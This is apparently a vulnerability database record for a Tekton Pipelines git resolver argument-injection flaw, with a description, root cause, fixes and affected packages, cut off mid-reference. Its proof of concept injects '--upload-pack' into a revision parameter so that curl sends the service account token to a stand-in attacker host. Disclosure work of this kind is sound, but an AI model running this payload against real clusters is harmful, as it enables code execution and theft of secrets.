{"id":"CVE-2026-40938","aliases":["CVE-2026-40938","GHSA-94jr-7pqp-xhcq","GO-2026-5272"],"related":[],"kind":"vulnerability","state":"published","title":"Tekton Pipelines: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE","summary":"Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe git resolver's `revision` parameter is passed directly as a positional argument to `git fetch` without any validation that it does not begin with a `-` character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary `git fetch` flags such as `--upload-pack=<binary>`. Combined with the `validateRepoURL` function explicitly permitting URLs that begin with `/` (local filesystem paths), a tenant who can submit `ResolutionRequest` objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The `tekton-pipelines-resolvers` ServiceAccount holds cluster-wide `get/list/watch` on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.\n\n## Details\n\n### Root Cause 1 — Unvalidated `revision` parameter passed to `git fetch`\n\n`pkg/resolution/resolver/git/repository.go:85`:\n\n```go\n// pkg/resolution/resolver/git/repository.go lines 84-96\n// 'revision' is the raw user-supplied string from the ResolutionRequest param.\n// It is passed verbatim as a positional argument to git fetch:\nfunc (repo *repository) checkout(ctx context.Context, revision string) error {\n    _, err := repo.execGit(ctx, \"fetch\", \"origin\", revision, \"--depth=1\")\n    // When revision == \"--upload-pack=/usr/bin/curl\", git parses it as the\n    // --upload-pack flag, not as a refspec — executing the binary locally.\n    if err != nil {\n        return fmt.Errorf(\"fetch: %w\", err)\n    }\n    _, err = repo.execGit(ctx, \"checkout\", \"FETCH_HEAD\")\n    return err\n}\n```\n\n`execGit` invokes `exec.CommandContext(\"git\", ...)` — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When `revision = \"--upload-pack=/path/to/binary\"`, git receives this as the flag `--upload-pack=/path/to/binary`, not as a refspec. `PopulateDefaultParams` (`resolver.go:418–424`) applies only a leading-slash strip and a `containsDotDot` check on the `pathInRepo` parameter; the `revision` parameter receives no validation at all.\n\n### Root Cause 2 — `validateRepoURL` explicitly permits local filesystem paths\n\n`pkg/resolution/resolver/git/resolver.go:154-158`:\n\n```go\n// validateRepoURL validates if the given URL is a valid git, http, https URL or\n// starting with a / (a local repository).\nfunc validateRepoURL(url string) bool {\n    pattern := `^(/|[^@]+@[^:]+|(git|https?)://)`\n    re := regexp.MustCompile(pattern)\n    return re.MatchString(url)\n}\n```\n\nAny URL beginning with `/` passes validation and is used directly as the argument to `git clone`. This means a local filesystem path such as `/tmp/some-repo` is a valid resolver URL.\n\n### Exploit Chain\n\n`--upload-pack=<binary>` causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (`/path`), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via `exec.Command` as a single `--upload-pack=<binary>` string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., `/bin/sh`, `/usr/bin/curl`, `/bin/cp`).\n\nAttack complexity is High because the exploit requires either:\n- A valid git repository at a known, predicable path on the resolver pod (e.g., `/tmp/<reponame>-<suffix>` from a concurrent resolution), or\n- A default-URL configuration pointing at a local path\n\n## PoC\n\n```bash\n# Step 1: Set up a local git repository to serve as the \"origin\"\n# (in a real attack, the attacker would time this against a concurrent clone\n# or use any pre-existing git repo path on the resolver pod)\ngit init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m \"init\"\n\n# Step 2: Craft a ResolutionRequest with injected --upload-pack flag\nkubectl create -f - <<'EOF'\napiVersion: resolution.tekton.dev/v1beta1\nkind: ResolutionRequest\nmetadata:\n  name: revision-injection-poc\n  namespace: default\n  labels:\n    resolution.tekton.dev/type: git\nspec:\n  params:\n    - name: url\n      value: /tmp/localrepo\n    - name: revision\n      value: \"--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)\"\n    - name: pathInRepo\n      value: README.md\nEOF\n\n# The resolver pod executes:\n# git -C <tmpdir> fetch origin \\\n#   \"--upload-pack=/usr/bin/curl http://c2.attacker.internal/...\" \\\n#   --depth=1\n#\n# For single-argument binaries (/bin/sh, /usr/bin/env, etc.):\n# git -C <tmpdir> fetch origin \"--upload-pack=/bin/sh\" --depth=1\n# Executes /bin/sh with the local repository path as argv[1].\n# From /bin/sh, the attacker can use a pre-staged script (e.g., written\n# via a workspace volume) to achieve arbitrary command execution.\n```\n\n**Verified**: `git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1` executes `test-exec.sh` on the local machine even when `origin` is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.\n\n## Impact\n\n- **Code execution on the resolver pod** when an attacker can stage or predict a valid git repository path in `/tmp` on the resolver pod.\n- **Full cluster-wide Secret exfiltration**: The `tekton-pipelines-resolvers` ServiceAccount is bound to a ClusterRole that grants `get/list/watch` on all Secrets in all namespaces (`config/resolvers/200-clusterrole.yaml`). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster.\n- **Privilege escalation**: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure.\n- Both the deprecated resolver (`pkg/resolution/resolver/git/`) and the current resolver (`pkg/remoteresolution/resolver/git/`) share the same `validateRepoURL`, `PopulateDefaultParams`, and `checkout` implementation via the shared `git` package. Both are affected.\n\n## Recommended Fix\n\n**Fix 1 — Validate that `revision` does not begin with `-`** in `PopulateDefaultParams`:\n\n```go\nif strings.HasPrefix(paramsMap[RevisionParam], \"-\") {\n    return nil, fmt.Errorf(\"invalid revision %q: must not begin with '-'\", paramsMap[RevisionParam])\n}\n```\n\n**Fix 2 — Restrict `validateRepoURL` to remote URLs only** (remove local-path support in production builds, or add an explicit admin opt-in feature flag):\n\n```go\nfunc validateRepoURL(url string) bool {\n    pattern := `^([^@]+@[^:]+|(git|https?)://)`\n    re := regexp.MustCompile(pattern)\n    return re.MatchString(url)\n}\n```\n\nApplying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which `--upload-pack` runs locally) and reduces attack surface further.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Tekton Pipelines git resolver revision parameter argument injection in github.com/tektoncd/pipeline","format":"markdown","source":"go"},{"lang":"es","text":"El proyecto Tekton Pipelines proporciona recursos estilo k8s para declarar pipelines estilo CI/CD. A partir de la versión 1.0.0 y antes de las versiones 1.0.2, 1.3.4, 1.6.2, 1.9.3 y 1.11.1, el parámetro de revisión del resolvedor de git se pasa directamente como un argumento posicional a git fetch sin ninguna validación de que no comienza con un carácter -. Debido a que git analiza las banderas de argumentos posicionales mixtos, un atacante puede inyectar banderas arbitrarias de git fetch como --upload-pack=[binary]. Combinado con la función validateRepoURL que permite explícitamente URLs que comienzan con / (rutas de sistema de archivos local), un inquilino que puede enviar objetos ResolutionRequest puede encadenar estos dos comportamientos para ejecutar un binario arbitrario en el pod del resolvedor. La ServiceAccount tekton-pipelines-resolvers posee permisos de get/list/watch a nivel de clúster sobre todos los Secrets, por lo que la ejecución de código en el pod del resolvedor permite la exfiltración completa de secretos a nivel de clúster. Las versiones 1.0.2, 1.3.4, 1.6.2, 1.9.3 y 1.11.1 solucionan el problema.","source":"nvd"}],"published":"2026-04-21T20:28:36.000Z","modified":"2026-10-26T21:10:00.170Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","score":8.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","score":8.5,"rating":"HIGH"}],"cwes":["CWE-88"],"affected":[{"ranges":[{"version":">= 1.0.0, < 1.0.2","status":"affected"},{"version":">= 1.2.0, < 1.3.4","status":"affected"},{"version":">= 1.4.0, < 1.6.2","status":"affected"},{"version":">= 1.7.0, < 1.9.3","status":"affected"},{"version":">= 1.10.0, < 1.11.1","status":"affected"}],"vendor":"tektoncd","product":"pipeline","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1780373846","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.7.3","package":"openshift-builds/openshift-builds-controller-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.7::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1780374151","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.7.3","package":"openshift-builds/openshift-builds-git-cloner-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.7::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1780373867","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.7.3","package":"openshift-builds/openshift-builds-image-bundler-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.7::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1780373835","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.7.3","package":"openshift-builds/openshift-builds-image-processing-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.7::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1780480839","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.7.3","package":"openshift-builds/openshift-builds-rhel9-operator","cpe":"cpe:/a:redhat:openshift_builds:1.7::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1780374228","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.7.3","package":"openshift-builds/openshift-builds-waiters-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.7::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1780374084","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.7.3","package":"openshift-builds/openshift-builds-webhook-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.7::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1778683229","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.8.1","package":"openshift-builds/openshift-builds-controller-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.8::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1778683134","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.8.1","package":"openshift-builds/openshift-builds-git-cloner-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.8::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1778683436","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.8.1","package":"openshift-builds/openshift-builds-image-bundler-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.8::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1778682932","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.8.1","package":"openshift-builds/openshift-builds-image-processing-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.8::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1778682930","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.8.1","package":"openshift-builds/openshift-builds-waiters-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.8::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1778682920","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Builds 1.8.1","package":"openshift-builds/openshift-builds-webhook-rhel9","cpe":"cpe:/a:redhat:openshift_builds:1.8::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"cli-1.21.1","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Pipelines 1.21","package":"serve-tkn-cli-1-21-serve-tkn","cpe":"cpe:/a:redhat:openshift_pipelines:1.21::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1780645012","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Pipelines 1.21","package":"openshift-pipelines/pipelines-rhel9-operator","cpe":"cpe:/a:redhat:openshift_pipelines:1.21::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1781686494","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Pipelines 1.21","package":"openshift-pipelines/pipelines-operator-bundle","cpe":"cpe:/a:redhat:openshift_pipelines:1.21::el9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Lightspeed","package":"openshift-lightspeed/openshift-mcp-server-rhel9","cpe":"cpe:/a:redhat:openshift_lightspeed","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-chains-controller-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-chains-controller-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-cli-tkn-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-cli-tkn-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-controller-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-controller-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-entrypoint-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-entrypoint-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-events-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-events-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-git-init-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-git-init-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-hub-api-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-hub-api-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-manual-approval-gate-controller-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-manual-approval-gate-controller-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-manual-approval-gate-webhook-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-manual-approval-gate-webhook-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-nop-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-nop-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-opc-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-operator-proxy-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-operator-proxy-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-operator-webhook-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-operator-webhook-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-pipelines-as-code-cli-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-pipelines-as-code-cli-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-pipelines-as-code-controller-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-pipelines-as-code-controller-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-pipelines-as-code-watcher-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-pipelines-as-code-watcher-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-pruner-controller-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-resolvers-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-resolvers-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-results-api-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-results-api-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-results-watcher-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-results-watcher-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-rhel8-operator","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-sidecarlogresults-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-sidecarlogresults-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-triggers-controller-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-triggers-controller-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-triggers-core-interceptors-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-triggers-core-interceptors-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-triggers-eventlistenersink-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-triggers-eventlistenersink-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-triggers-webhook-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-triggers-webhook-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-webhook-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-webhook-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-workingdirinit-rhel8","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Pipelines","package":"openshift-pipelines/pipelines-workingdirinit-rhel9","cpe":"cpe:/a:redhat:openshift_pipelines:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Serverless","package":"openshift-serverless-1/kn-client-kn-rhel9","cpe":"cpe:/a:redhat:serverless:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Serverless","package":"openshift-serverless-1/kn-plugin-func-func-util-rhel9","cpe":"cpe:/a:redhat:serverless:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-api-server-v2-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-driver-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-launcher-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-persistenceagent-v2-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-scheduledworkflow-v2-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Virtualization 4","package":"container-native-virtualization/kubevirt-ssp-operator-rhel9","cpe":"cpe:/a:redhat:container_native_virtualization:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Virtualization 4","package":"container-native-virtualization/kubevirt-tekton-tasks-create-datavolume-rhel9","cpe":"cpe:/a:redhat:container_native_virtualization:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Virtualization 4","package":"container-native-virtualization/kubevirt-tekton-tasks-disk-virt-customize-rhel9","cpe":"cpe:/a:redhat:container_native_virtualization:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Virtualization 4","package":"container-native-virtualization/kubevirt-template-validator-rhel9","cpe":"cpe:/a:redhat:container_native_virtualization:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Trusted Artifact Signer","package":"rhtas/ec-rhel9","cpe":"cpe:/a:redhat:trusted_artifact_signer:1","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"1.10.0","status":"affected","fixed":"1.11.1"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.7.0","status":"affected","fixed":"1.9.3"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.4.0","status":"affected","fixed":"1.6.2"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.2.0","status":"affected","fixed":"1.3.4"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.0.0","status":"affected","fixed":"1.0.2"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.0.0","status":"affected","fixed":"1.0.2"},{"type":"semver","introduced":"1.1.0","status":"affected","fixed":"1.3.4"},{"type":"semver","introduced":"1.4.0","status":"affected","fixed":"1.6.2"},{"type":"semver","introduced":"1.7.0","status":"affected","fixed":"1.9.3"},{"type":"semver","introduced":"1.10.0","status":"affected","fixed":"1.11.1"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"go"},{"ranges":[{"status":"affected","introduced":"1.0.0","fixed":"1.11.0"}],"vendor":"linuxfoundation","product":"tekton_pipelines","cpe":"cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*","source":"nvd"}],"references":[{"url":"https://github.com/tektoncd/pipel